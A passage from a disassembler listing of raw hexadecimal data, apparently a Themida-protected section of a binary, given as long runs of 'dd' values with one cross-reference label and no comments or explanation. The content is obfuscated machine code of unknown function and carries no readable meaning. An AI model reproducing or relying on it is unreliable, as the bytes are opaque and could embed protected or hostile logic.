0D30ADAD6h, 74C3924h, 1C1D7658h, 133AFF7Fh dd 0FE0ADFF5h, 11563F42h, 0FB78C19Ch, 0E10EA5DDh, 4198611Dh dd 62696514h, 0C2392793h, 7F029B7Dh, 832641B6h, 286A00E2h dd 1480E11Fh, 9C1FD117h, 5DE27BFDh, 0CE8F7198h, 941732A7h dd 0AB52EBCDh, 0C55DDBB4h, 0DFA08223h, 0E8935262h, 0B571DFC1h dd 62001B9Ch, 0EE5DA603h, 283E5C83h, 0D8E761BCh, 23A6559Ah dd 59750CDDh, 2FE2C948h, 0AD504FFEh, 3C558F04h, 0DF93A3B8h dd 0FAB1C6BFh, 8130F1D3h, 5436FF82h, 42FF839Ch, 3A593h dd 7F730000h, 33EE73A7h, 6C35B851h, 0A84DF18Ah, 0E8952DC6h dd 25C86D06h, 6005AA43h, 9F46E57Eh, 0E18024BDh, 1FC666FFh dd 8953003Dh, 4C381E3h, 83000000h, 1C3304EBh, 241C3124h dd 5C241C33h, 6EEE68h, 243C8900h, 4F6968h, 24148900h, 428468h dd 242C8900h, 219662BDh, 5DEF8906h, 5ACD68h, 24248900h dd 4240481h, 5A000000h, 34815751h, 0A33BB924h, 0F1815937h dd 37A33BB9h, 59084A89h, 5A2434FFh, 4C481h, 34FF0000h dd 0C4835F24h, 0DD59E904h, 6650FFFCh, 2D8FD053h, 0D6B8AEB8h dd 30621A1h, 80E0FFC5h, 93AE625h, 0B5676DB0h, 0C75B0401h dd 92320FFFh, 371708BCh, 0B17CC198h, 0C36CC8CFh, 7054D66Fh dd 3818CCD2h, 2931F3B1h, 0EB5A8CC8h, 0E09104Bh, 1AC53C2Fh dd 0A4ACDA4Bh, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh dd 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h, 49828Eh dd 0D5A3EA1Ah, 0 dd 0FEBF199Ch, 0FE3D0000h, 0FBh, 27E64128h, 0C3727DD4h dd 0D09E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0DD80BE79h, 2DBD832Fh, 61E27h, 5A850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 7F1EC8C3h, 815C71C1h, 5187DAC9h, 0B834h dd 8D090000h, 61E0975h, 6A0004C2h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8F5EC350h dd 1BC7544Bh, 0D88ACD59h, 0BD8BC08Bh, 61E2701h, 1D79BD83h dd 7500061Eh, 25BD8309h, 61E2Bh, 53501374h, 0D0B8C08Bh dd 8D000004h, 20AA0E9Dh, 5BD3FF06h, 25BD8358h, 61E2Bh dd 53501174h, 4D0B8h, 5B9D8D00h, 0FF0620A9h, 6A585BD3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 3FE8C351h, 6A3492B2h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8939C353h dd 1E3281BDh, 8DC08B06h, 21A2C885h, 7E85006h, 5A000000h dd 3E991C9h, 41B6D5A2h, 24048959h, 9E8h, 10575700h, 4315BBA9h dd 7E94D07h, 0B0000000h, 96609708h, 8D59DE10h, 21A28585h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 7D20953Fh, 377BAA32h, 6830Fh, 95890000h dd 61E02A5h, 58E0Fh, 0D6BA0000h, 50081D68h, 0AE860h, 934D0000h dd 0B0A0D01Eh, 23705426h, 2C10BF66h, 0BE49BE58h, 89614A32h dd 0CF812404h, 7CB836CEh, 275DBD89h, 95FF061Eh, 61E13C1h dd 448B3FB2h, 0ABBF0424h, 8149F5D5h, 6B0999C7h, 0B085896Ch dd 890621A2h, 1E099585h, 24448B06h, 57006A08h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 81E62566h dd 0CB28A2EBh, 0C4858948h, 290621A2h, 1E20019Dh, 0B1BD8306h dd 61E07h, 0D8850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0A3AB39C3h, 8A519526h dd 4185C6F1h, 47061E20h, 68DEBF0Fh, 0ACCD1E43h, 60605250h dd 8BF6661h, 310F6180h, 2870Fh, 5B20000h, 3481585Ah, 57B99124h dd 0C9BD8B78h, 0FF061E07h, 1E3291B5h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E98FB541h, 6, 1FD1CC36h, 858DCA31h, 62178D1h, 8E8h dd 8DC2E600h, 940550F2h, 0DAB70F40h, 0F28B605Bh, 13659589h dd 0FF61061Eh, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0E879E1E8h, 0F85388Ch dd 8589D0BFh, 61E07B1h, 236D8D29h, 0BD83061Eh, 61E3195h dd 0A0850F00h, 0E8000000h, 10h, 0F11C926Ah, 1F8A6A03h dd 82350470h, 1EDC5713h, 3519D8Bh, 0C659061Eh, 1E204185h dd 68F54706h, 0B654B5FEh, 683533BBh, 2434817Ah, 3C5B001Ch dd 840Fh, 0B5FF0000h, 61E3291h, 8DCFBF0Fh, 2178D185h, 0AE96006h dd 1A000000h, 6310F14Bh, 0DB65AADCh, 61F28BFDh, 6AD0FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 38D97AC3h, 0B55ED9C8h, 0B589A076h, 61E26CDh, 31958589h dd 0CE9061Eh, 8000000h, 0D5FAC594h, 0F178A726h, 83720987h dd 1E1D81BDh, 850F0006h, 108h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 33C35646h, 97D6F9D4h, 0D61584AEh dd 4185C65Bh, 56061E20h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0F7C35242h, 158D89EEh, 68061E30h, 93783AC7h dd 81D18B66h, 32722404h, 9D0140A7h, 61E2F5Dh, 3291B5FFh dd 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 11A0BC3h, 13E9510Ch, 0D1000000h, 0E6C2A9F9h dd 0A139F3A3h, 0FC0DDF77h, 4E152CA0h, 8DF8B3F7h, 2178D185h dd 95895706h, 61E174Dh, 6AD0FF5Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1FC0C353h dd 0C48BF716h, 0B091FE2Bh, 1731BD0Bh, 0BF0F061Eh, 0C88160DBh dd 3286D21Ch, 1ED18589h, 8961061Eh, 1E1D8185h, 0EE906h dd 0CE320000h, 8CFBF385h, 8B5298FDh, 6B7DBB91h, 204185C6h dd 8B6C061Eh, 1E1EFD95h, 74F86806h, 6660A990h, 860FD08Bh dd 4, 0F3A0B866h, 24348161h, 7295047Bh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C35343h, 9A60EBD1h dd 8BA07A07h, 1E03F9BDh, 0F1B5FF06h, 8B061E02h, 0FA858DD1h dd 81061E38h, 0C4508DD9h, 8BD0FF7Ah, 1E1809BDh, 0B4858906h dd 0F0621A2h, 46AD1B7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 21C35747h, 15BACAA4h, 0E85967F5h, 4 dd 1000h, 8E857h, 6180000h, 80D4ACB0h, 870FE6D9h, 0 dd 50505B5Bh, 8B666052h, 61CB8BCEh, 8B52310Fh, 585A59CFh dd 424448Bh, 77B626BFh, 0BA008B0Fh, 0D1BA40Ch, 4244489h dd 58C88B66h, 4E8D18Bh, 0 dd 50000100h, 0DE856h, 0F0EA0000h, 53385A2Bh, 0D39EB622h dd 5A7F6E99h, 24448B5Fh, 0F8C0F04h, 0E8000000h, 5, 1AC7EDB2h dd 0F2BF6605h, 8B59C0h, 860Fh, 44890000h, 0D98B0424h, 0D38B6658h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0B71547C3h, 95FFB65Bh, 61E1355h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0BAC35545h, 0A2C08589h dd 6A0621h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 4CC35545h, 9269006Dh, 4E8h, 1000000h, 50FA8B00h dd 8BDA8B66h, 8B042444h, 24448900h, 10BF6604h, 840F589Ah dd 3, 50C8BF0Fh, 2721BB66h, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 6AECC356h dd 88B0F0Bh, 50000000h, 1A958D03h, 2359061Eh, 1E1D958Dh dd 8D858D06h, 0F0621A2h, 8Fh, 8B605700h, 1E0469B5h, 31858B06h dd 61061E2Eh, 489505Bh, 0D958924h, 0FF061E14h, 1E07B195h dd 56EB8006h, 0B58DF98Ah, 621A297h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 2CC35040h, 0F3DADFCEh, 41BD0146h dd 96061E2Ch, 5E8h, 0ED0D3600h, 505B2548h, 8860Fh, 50600000h dd 5A310F52h, 6A966158h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 60AC353h, 95B52912h dd 50061E0Ch, 0D513BF66h, 0F240489h, 95FFFFBFh, 61E3195h dd 0FF0CC580h, 0C0B58BD0h, 6A0621A2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C52BC355h dd 75EC4617h, 5F2B7363h, 0A2B885C7h, 621h, 95330000h, 61E04C1h dd 5E9D1DBFh, 207E803Ah, 68840F00h, 89000003h, 1E1CE185h dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 899619C3h, 1E2EBD9Dh, 20468D06h, 2D159D8Bh dd 8589061Eh, 621A2BCh, 1F19BD09h, 11E9061Eh, 37000000h dd 0C0DB027Bh, 698DE341h, 0FFC2D865h, 0C84DB852h, 4EE9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 8BD810C0h, 1E2C798Dh, 6A4006h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 8BC9A4C3h dd 0D15D0D26h, 6666C380h, 802838BFh, 850F0038h, 0FFFFFFCDh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h dd 0D15C4A96h, 89BAF70Fh, 1E1EE1BDh, 0C8B0F06h, 0F000000h dd 687h, 0D1958B00h, 0E9061E09h, 8, 0EC5DD68Fh, 0C1A416FAh dd 50E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dword_569968 dd 24448104h, 1804h, 0C3564600h, 0D6D36D31h, 0BE9B9h, 493C0000h ; DATA XREF: Themida_:off_54CF8Co dd 5C6C9102h, 9112E653h, 14E95Ch, 7E6A0000h, 5C97A40Ch dd 64E0ACh, 0C3AD1E86h, 56F7FB0Ch, 23487D46h, 1E19099Dh dd 5C388006h, 21840Fh, 0D6800000h, 80AFB110h, 840F2F38h dd 13h, 0BC853BFCh, 0F0621A2h, 0FFFFD583h, 358D8BFFh, 40061E27h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D1C35242h dd 369DA8C8h, 837D9950h, 21A2C4BDh, 840F0006h, 56h, 8AB3F9BBh dd 0FC8A502Fh, 66240489h, 8503CE8Bh, 621A2C4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 93C35040h, 64DCC54Eh dd 6D344D4Ch, 95B50158h, 0C6061E21h, 0F88B0000h, 22318531h dd 8958061Eh, 1E165DBDh, 827EBA06h, 0E8900715h, 7, 0F2701D55h dd 0E944B415h, 7, 7AB77EB7h, 5BC01BF0h, 66525050h, 0F3B53BBh dd 6E931h, 0BB070000h, 0FD267BDBh, 8B90585Ah, 1E13B195h dd 0B0B5FF06h, 6A0621A2h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 6BAC351h, 0B4899F42h dd 0B99D8918h, 0F061E0Ch, 0B88h, 5870F00h, 66000000h, 4960EB81h dd 0A2B495FFh, 6A0621h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 29A894C3h, 428C2A12h, 0FA8B66DDh dd 850FC00Bh, 87h, 2D61BD89h, 6A61061Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E04FC351h dd 80E698A1h, 0E18161E6h, 6BC33522h, 0A2B885C7h, 10621h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0E1649FC3h, 0DF8B669Dh, 7E8h, 44D4D000h dd 59C32830h, 10E8h, 8474900h, 0DE4CBF84h, 2746B000h, 87D441ABh dd 5959FC32h, 3AE9h, 61CA8B00h, 1E199589h, 0C681061Eh dd 11Ch, 0DE9h, 0BB99E600h, 0E90CB925h, 75A810F0h, 0A2E9EA37h dd 0E9FFFFFCh, 0Fh, 7218B42h, 0D793348Bh, 0B87DF66Ah, 0E8D07D9Eh dd 4, 8000h, 0E950D98Ah, 0Dh, 0A3B0E3CEh, 8E6655D5h, 0AAB074D9h dd 24448BF1h, 0CF8B6604h, 0BB66008Bh, 4489B692h, 0BB600424h dd 3CCD99D7h, 55A6B966h, 6A5861h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0B445D8C3h, 0D4024A34h dd 13E9h, 14180100h, 2DE1D41Bh, 0B67F1D2Ah, 0E7DC0E11h dd 7FFC3227h, 2C919D03h, 6A061Eh, 68A0F60h, 89000000h dd 1E313195h, 0CD9D2306h, 61061E04h, 14CD9D8Bh, 0B5FF061Eh dd 621A2C0h, 1D8195FFh, 6A061Eh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0DEE71DC3h, 0DDB5BF66h dd 0C758589h, 858B061Eh, 621A2B8h, 475B966h, 0EB71BA50h dd 4896F5Eh, 68D0F24h, 8B000000h, 1E1775BDh, 0C8858D06h dd 0E90621A2h, 13h, 1B55C854h, 470DC037h, 0C87A5F0Ch, 0C530378Bh dd 50D0A74Eh, 48941B6h, 0CF816624h, 858DC651h, 621A285h dd 0E659589h, 8B90061Eh, 6A9050D7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 1B1EC351h dd 81E8E466h, 0DF6C92F3h, 2595FF26h, 81061E02h, 0C1CB4DC9h dd 53C08B75h, 0ABF4EF81h, 83592C25h, 1E1D79BDh, 9750006h dd 2B25BD83h, 7400061Eh, 8B535013h, 4D0B8C0h, 9D8D0000h dd 620AA75h, 585BD3FFh, 2B25BD83h, 7400061Eh, 0B8535011h dd 4D0h, 0A9749D8Dh, 0D3FF0620h, 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B63133C3h dd 0B96618E3h, 6AB52Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 2FE23CC3h, 8D53CC2h, 8B5F5202h dd 359D29C0h, 58061E0Fh, 660008C2h, 0C08BDE8Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 8CC35040h, 0A6EE70E9h dd 8B5FD8F8h, 1E3131BDh, 0F5858D06h, 660621A2h, 8967C5BAh dd 1E033D85h, 39EB06h, 0CC00BE00h, 0E400BE02h, 0BE02h dd 6E000000h, 4A47A770h, 0EF76BE7Ch, 3422AF74h, 0CC4FA470h dd 0BC4EAE37h, 2C768419h, 7A228655h, 7F52856Dh, 7F4A9E77h dd 8646AB7Ch, 1222A079h, 0A122C9F1h, 137BEA19h, 4C6E4340h dd 10664B1Dh, 1A22D31Dh, 0CE738B19h, 6E8C19BCh, 4DCBD172h dd 0CC22CA19h, 0E9BA9092h, 0B1639C11h, 0D5ED8F2Ch, 15E2418Fh dd 0B0A13AA6h, 803CD760h, 0C02BBF19h, 0BF09EFA4h, 0C956CA1Fh dd 0A8A99949h, 342673A1h, 0F3A74319h, 8024D415h, 0A68EF084h dd 18F1351Fh, 849F4941h, 0D024D432h, 3B72DD6Dh, 342673A1h dd 0F3A74319h, 8024D415h, 0A68BE384h, 18F1351Fh, 0F722A041h dd 0D022C9F1h, 0AB7CEA19h, 10564347h, 3E664B1Dh, 0D22DF1Dh dd 45748C19h, 0DEAB2689h, 0A73CDCF4h, 5585757Fh, 6822DBF0h dd 41EED019h, 772D6D5Ah, 982E4F88h, 3ABF3466h, 83A999D0h dd 4977CA73h, 0D022CA1Ah, 35E19739h, 3006A690h, 1E068E98h dd 0D22CA03h, 6AE19F5Ch, 0A69FA86Ah, 34ABD29Ch, 0D63CEA64h dd 48634FDFh, 5E74CC07h, 19CA9819h, 2D22CA19h, 0F780943h dd 0C226EE4Dh, 0B626EE5Dh, 9222CA19h, 0F421094Bh, 81136BBAh dd 1C3CC520h, 4DDDE971h, 7D9BAC2Bh, 67264B93h, 0CB457336h dd 3875CA73h, 6822CA1Ah, 6BE19539h, 1E06B690h, 9068E98h dd 8622CA05h, 99E19D5Eh, 4AF06837h, 128F5D32h, 4EDB7F92h dd 81DDCC07h, 1C3CF888h, 334E62A3h, 3AF3218h, 4503B2C8h dd 4975CA73h, 0D022CA1Ah, 37E19539h, 3006B690h, 1E068E98h dd 0D22CA0Fh, 9EE19D5Eh, 8CA30656h, 0C84C9CF8h, 6D211AE6h dd 6E3CD190h, 3448CE73h, 1A21224Bh, 5702CA19h, 0D2AB90DAh dd 7A3CE3Dh, 0A13ACE3Dh, 8260CA19h, 0E7868EDAh, 494AC1A8h dd 7CB973F5h, 9A31992h, 0C001493Dh, 1522A07Dh, 0A122C9F1h dd 137CEA19h, 4C564347h, 10664B1Dh, 1A22D01Dh, 0CE748C19h dd 61F1C602h, 0CAE851FDh, 0BF3F4FACh, 0B31CA21Fh, 38425F1Dh dd 3BE0414Bh, 4043AA28h, 9A3AB41h, 7DBD643Dh, 9CA3AC73h dd 0A148F018h, 3871CA73h, 6822CA1Ah, 6FE19139h, 1E069690h dd 9068E98h, 8622CA0Eh, 59E1995Ah, 0A89D95EEh, 0CE028F84h dd 0E9F2351Fh, 0FBA67CBh, 1A74362h, 0E524EBA9h, 8622CA11h dd 849D0F5Ah, 3886A4C5h, 8ED47516h, 0A4273292h, 0BD22CA1Bh dd 3B92D59Ch, 15E2491Fh, 36014F90h, 8311CC38h, 0A12026A0h dd 0BA883919h, 6BCA9919h, 1422CA19h, 93790942h, 8C26EE45h dd 9126EE5Dh, 22CA19h, 0CB3A094Ah, 0F79C52A8h, 269B08Fh dd 37CA9819h, 3A22CA19h, 84780943h, 726EE4Dh, 5F26EE5Dh dd 0E322CA19h, 0CBEC094Bh, 0ABE586EFh, 0BDA2A337h, 43DFBACh dd 4CA70C1Fh, 0C524D439h, 43254916h, 2E2DCA19h, 0D022CA18h dd 0A6A774E1h, 30CA8234h, 4422CA19h, 0E4BEAD72h, 8622CA10h dd 0DF50DCC9h, 19714419h, 1FA89A7Dh, 6C068E92h, 3422C2F0h dd 1799CB19h, 0E0374F39h, 0E0224139h, 7AB0092h, 0B3CACE3Dh dd 0D022CA19h, 0EDA0B5D0h, 0B2918326h, 8F986786h, 55AD1F64h dd 0E07A93A4h, 0BC7742A0h, 0BF105BACh, 0D6A0C51Fh, 0E122CA19h dd 2A357794h, 0CBA7471Fh dd 6724EB61h, 85CA9C19h, 6322CA19h, 287C0947h, 5126EE6Dh dd 7F26EE5Dh, 7222CA19h, 8A72094Fh, 822DB722h, 8622CA1Ch dd 0D8FC4B7Fh, 18F235D1h, 0A0FDAA0Eh, 5A434F90h, 0B1ABCC07h dd 1C3CC3F4h, 0E577CA73h, 8622CA1Ah, 1EE19739h, 0A506A690h dd 0D4068E98h, 6822CA02h, 0C7E19F5Ch, 0A5BF9970h, 804D3336h dd 982A639Ch, 1322A01Fh, 0A122C9F1h, 137AEA19h, 4C664341h dd 10664B1Dh, 1A22D61Dh, 0CE728A19h, 0C01808ECh, 9210B0F0h dd 0E2E04B9Ch, 253CF949h, 49CF4F90h, 8A44CC07h, 9FE4E0DAh dd 0B3CEA58h, 79F434Ah, 0AB24D40Ah, 0A122CA1Dh, 2C9382C1h dd 6822C1F0h, 0CF6E8019h, 88EDEA2Eh, 43390C56h, 0DEA4049h dd 0F526EE5Dh, 4822411Fh, 0D022CA0Ah, 30B25D21h, 6EE646CDh dd 9657CD62h, 0D620B12Eh, 0FC18BD9h, 1226EE5Dh, 90E3704Ah dd 8A7CDA6Bh, 7D974141h, 0BD24D400h, 434D7A4h, 9C97351Fh dd 0D24D42Bh, 5D0B538Ch, 5354751Fh, 55AFB396h, 6E03B2C8h dd 0CBDB417Fh, 4C22A0C9h, 0D22C9F1h, 457CEA19h, 67564347h dd 85664B1Dh, 0D022DD1Dh, 0AB748C19h, 88CBFAF2h, 3CE34F90h dd 0D48CC07h, 86212249h, 1B02CA19h, 0E5AB92DAh, 94A3CE3Dh dd 6839CE3Dh, 6462CA19h, 0B857EFDAh, 0C00983DEh, 7DA99843h dd 2A70C47h, 0F224D439h, 0D5175F10h, 9B4ACC07h, 6485D180h dd 54909C4Bh, 5713C543h, 0A2164B41h, 3C219759h, 14DD3892h dd 0D63CF888h, 8072CA73h, 3422CA1Ah, 42E19239h, 9068E90h dd 82068E98h, 4322CA0Fh, 10E19A59h, 55ABB1EDh, 6E3CFBC8h dd 4CF34F94h, 1A48CC38h, 0D21224Ah, 0DD02CA19h, 1FAB91DAh dd 0E5A3CE3Dh, 0D038CE3Dh, 3B61CA19h, 703B41DAh, 0FA87E47Eh dd 0F2D70399h, 0D322A0C9h, 4322C9F1h, 627FEA19h, 0F44E4344h dd 4C664B1Dh, 3422DD1Dh, 0D9778F19h, 0B33171E6h, 8622C7F0h dd 43F83019h, 73BC6D45h, 3DA92416h, 7ACA505Fh, 8422CA19h dd 0DA64C934h, 0C6C11DDBh, 490A16B0h, 9F3B7913h, 78974361h dd 8A24D436h, 14C34B7Fh, 61A74347h, 7024D40Ch, 0ECA9919h dd 0A622CA19h, 0CA790942h, 2026EE45h, 0CC26EE5Dh, 2B22CA19h dd 132C094Ah, 0B518AF7Ah, 84F47822h, 98210384h, 8AB7431Fh dd 6724D404h, 0CE028B9Ch, 0E1D78D1Fh, 2A259394h, 2B84A21Fh dd 1ECB37BFh, 6422CA19h, 5FDD6670h, 1E68C1F5h, 1E6670EBh dd 30C29ABEh, 0A3BE5Dh, 62CEC53Dh, 5822A053h, 8622C9F1h dd 807FEA19h, 854E4344h, 0F4664B1Dh, 6822D61Dh, 0F7778F19h dd 91227531h, 542F2076h, 0BF97C3A6h, 0BC24D414h, 0BF105BACh dd 8722A01Fh, 6822C9F1h, 0F77DEA19h, 3E5E4346h, 29664B1Dh dd 8622D61Dh, 80758D19h, 0E49BC670h, 64C4D7C2h, 0D1AF4106h dd 8A24D415h, 4D7B2361h, 75F34F94h, 8648CC38h, 4321224Eh dd 0FE02CA19h, 0ACAB95DAh, 2CA3CE3Dh, 3439CE3Dh, 4D65CA19h dd 0ACF35CDAh, 0E1330B06h, 66B741CCh, 5E24D407h, 0D8A5C5C9h dd 3A22CA19h, 232F7792h, 937DCC07h, 13084F9Ch, 0D122A01Fh dd 4322C9F1h, 627DEA19h, 0F45E4346h, 4C664B1Dh, 3422D21Dh dd 0D9758D19h, 85E00962h, 85A9C551h, 4C22CA19h, 24E435AEh dd 0D63CEA58h, 3922A05Eh, 3422C9F1h, 0D97BEA19h, 296E4340h dd 0A2664B1Dh, 4322D01Dh, 62738B19h, 3D8AF220h, 0E14ABB2Ch dd 2A261B94h, 3CD5A21Fh, 5F7204E0h, 907EFA6h, 1413C527h dd 0A1224216h, 8A7BCA19h, 4C164B41h, 7B07FC94h, 1A244A16h dd 88ABCA19h, 803CC6A0h, 71B37FE6h, 0A148CC07h, 0D021224Bh dd 3202CA19h, 60AB90DAh, 5EA3CE3Dh, 0D37CE3Dh, 0D460CA19h dd 4CB189DAh, 0A122CE94h, 489CAC19h, 0B9A7477Eh, 0BD24EB61h dd 428D394h, 67F2351Fh, 85CA9B19h, 6322CA19h, 287B0940h dd 5126EE55h, 7026EE5Dh, 7522CA19h, 0A0340948h, 8691B0B9h dd 9801DFACh, 0C6AB331Fh, 0A73CD0BCh, 3874CA73h, 6822CA1Ah dd 6AE19439h, 1E06BE90h, 9068E98h, 8622CA0Eh, 6E19C5Fh dd 88B42BD6h, 0CE3B039Ch, 29A70C1Fh, 7324D439h, 0F273CA73h dd 0D22CA1Ah, 0DFE19339h, 47068690h, 0A5068E98h, 0D022CA02h dd 0E19B58h, 0ACA2100h, 0E3B39613h, 0D22CEF1h, 4B1E9719h dd 9BA9AAB3h, 0F1431B92h, 5D9C9979h, 37499E69h, 3422C7F0h dd 57C3BE19h, 7E7D516Eh, 0B5DADD7Eh, 0C8437C28h, 2A26EE5Dh dd 592241CEh, 3826EE5Dh, 3B0B7B4Bh, 427A9028h, 0B8DD1DAFh dd 803CF888h, 0AB73CA73h, 0A122CA1Ah, 89E19339h, 6C068690h dd 30068E98h, 1A22CA03h, 0A5E19B58h, 0C3733EAEh, 0CEDB3BFAh dd 805A1B9Ch, 91B7C91Fh, 9724D411h, 2CD4BC9h, 93673794h dd 1320839Ch, 749DC51Fh, 4322CCF0h, 774FB819h, 2FCD32FAh dd 3922A0C9h, 3422C9F1h, 0D97BEA19h, 296E4340h, 0A2664B1Dh dd 4322DF1Dh, 62738B19h, 6F447AF5h, 0EDAB8342h, 323CD6D0h dd 0F277CA73h, 0D22CA1Ah, 0DBE19739h, 4706A690h, 0A5068E98h dd 0D022CA05h, 10E19F5Ch, 0D3FC5799h, 0D2E30ED0h, 0ACF5F28h dd 7342CC07h, 5D6F7F90h, 0C743CC07h, 0D0481295h, 68212248h dd 6D02CA19h, 56AB93DAh, 49A3CE3Dh, 8636CE3Dh, 1263CA19h dd 0E99302DAh, 0D048CE3Dh, 68212248h, 6D02CA19h, 56AB93DAh dd 49A3CE3Dh, 8637CE3Dh, 1263CA19h, 0AB98C2DAh, 24A6C5D9h dd 222CA1Bh, 37CA9819h, 3A22CA19h, 84780943h, 726EE4Dh dd 5B26EE5Dh, 0E322CA19h, 752F094Bh, 0E14FB954h, 2A2B13ACh dd 5BA70C1Fh, 4224D439h, 6CA3AC49h, 2B78FC43h, 598FC5BEh dd 0E4A30592h, 4541A93Dh, 3425225Eh, 0C1C9CA19h, 13002112h dd 33AFC348h, 1D24D434h, 89F414Fh, 8F24D42Ah, 5AB37FE6h dd 0B1AFCC07h, 1C03B2C8h, 0F534F90h, 3B0BCC07h, 453CDD54h dd 20441AE6h, 62E5D1C3h, 4CE24999h, 0ABDC33A0h, 5BA7433Bh dd 6724D40Dh, 85CA9B19h, 6322CA19h, 287B0940h, 5126EE55h dd 7E26EE5Dh, 7522CA19h, 32270948h, 0C4A741C7h, 0E024D405h dd 0DEA91992h, 0A73CC850h, 0FD8F7F92h, 261CC07h, 37CA9F19h dd 3A22CA19h, 847F0944h, 726EE75h, 5626EE5Dh, 0E422CA19h dd 56F1094Ch, 0E3D87D16h, 0CCA9AC02h, 0AFA9D192h, 0B3CCA40h dd 86244816h, 0D6A9CA19h, 0A73CE93Ch, 5B44D192h, 2FAF9CEh dd 37CA9919h, 3A22CA19h, 84790942h, 726EE45h, 5526EE5Dh dd 0E222CA19h, 4E25094Ah, 0F5A9AAABh, 323CDED4h, 0A0C34BA2h dd 8C44AB7Fh, 0FE841C0h, 5D367784h, 0FD98AC1Fh, 91A70C79h dd 2F24D439h, 0DC74CA73h, 1A22CA1Ah, 53E19439h, 8206BE90h dd 47068E98h, 0A122CA01h, 5E19C5Fh, 0C3F981CDh, 12C54B4Ah dd 4552C916h, 0D22CEF1h, 58FF6319h, 52CA9AAEh, 9D22CA19h dd 0BDECA046h, 7BCDD903h, 8F4B818Bh, 6A2C77CCh, 8D693EA7h dd 0C2A9934Eh, 0C62DCE3Dh, 0A122CA1Bh, 0D0A911A8h, 2CAB2DAFh dd 33CACE3Dh, 0AE22CA19h, 0B4E182D2h, 8ACBA59Bh, 3F22CA19h dd 87B6593Ah, 6791E219h, 32FB7080h, 6422A041h, 1A22C9F1h dd 0CE7AEA19h, 0A2664341h, 67664B1Dh, 0A122DC1Dh, 13728A19h dd 67D94894h, 3422CB9Ch, 0AFDD3319h, 0B3CF888h, 9FBB4792h dd 0C6AFCC07h, 0A703B2C8h, 3874CA73h, 6822CA1Ah, 6AE19439h dd 1E06BE90h, 9068E98h, 8622CA02h, 73E19C5Fh, 2E7A2BA0h dd 0B635CF3Ch, 0FDA93892h, 323CDD18h, 1A481AE6h, 0D212249h dd 0DE02CA19h, 7AB92DAh, 0E5A3CE3Dh, 0D039CE3Dh, 3862CA19h dd 2F7175DAh, 0ACF1871Ch dd 88A74314h, 0E024D433h, 323C6A7h, 725114A7h, 0BA224170h dd 6BCA9C19h, 1422CA19h, 937C0947h, 8C26EE6Dh, 9C26EE5Dh dd 522CA19h, 79F7094Fh, 7D7173CBh, 99A9ACFFh, 3448CA92h dd 1A21224Eh, 5202CA19h, 0FAAB95DAh, 7A3CE3Dh, 0A135CE3Dh dd 8765CA19h, 6E00C9DAh, 0EDA3ACE3h, 9FAB978Ah, 0B3CC3D4h dd 6E77CA73h, 4322CA1Ah, 0FCE19739h, 0D406A690h, 6C068E98h dd 3422CA0Eh, 34E19F5Ch, 86F1B7AAh, 982AEB94h, 4258231Fh dd 0A148CA19h, 0D021224Bh, 3202CA19h, 60AB90DAh, 5EA3CE3Dh dd 